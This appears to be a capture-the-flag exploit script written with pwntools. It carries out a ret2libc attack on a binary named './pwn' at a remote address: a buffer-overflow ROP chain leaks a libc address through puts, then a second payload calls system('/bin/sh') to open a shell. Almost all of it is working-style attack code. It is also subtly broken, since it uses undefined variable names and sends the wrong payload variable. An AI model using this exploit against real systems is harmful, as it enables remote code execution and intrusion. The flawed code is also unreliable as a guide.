1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * from LibcSearcher import * context(os="linux",arch="x86_64",log_level="debug") context.terminal=["tmux","splitw","-h"]
targetELF="./pwn" elf=ELF(targetELF) leakFuncName="__libc_start_main" leakFuncGOT=elf.got[leakFuncName] printfPLT=elf.plt["puts"] backAddr=elf.symbols["main"]
retOffset=0x20+8 pop_rdi_ret=0x40102f retAlignPadding=0x40101a
LOCAL=11 REMOTE=12 DEBUG=13 mode=REMOTE def Lauch(): if mode==LOCAL: io=process(targetELF) return io elif mode==REMOTE: io=remote("8.147.132.32",43291) return io elif mode==DEBUG: io=gdb.debug(targetELF,"b *0x4012ea") return io
ioTube=Lauch()
payload1=b'A'*retOffset+p64(pop_rdi_ret)+p64(leakGOT)+p64(putsPLT)+p64(backAddr) ioTube.send(payload) libcReal=u64(ioTube.recvline(keepends=False).ljust(8,b'\x00')) libc=LibcSearcher(leakFuncName,libcReal) libcBase=libcReal-libc.symbols[leakFuncName]
systemAddr=libcBase+libc.dump("system") binshAddr=libcBase+libc.dump("str_bin_sh")
payload=b'A'*retOffset+p64(retAlignPadding)+p64(pop_rdi_ret)+p64(binshAddr)+p64(systemAddr) ioTube.send(payload)
|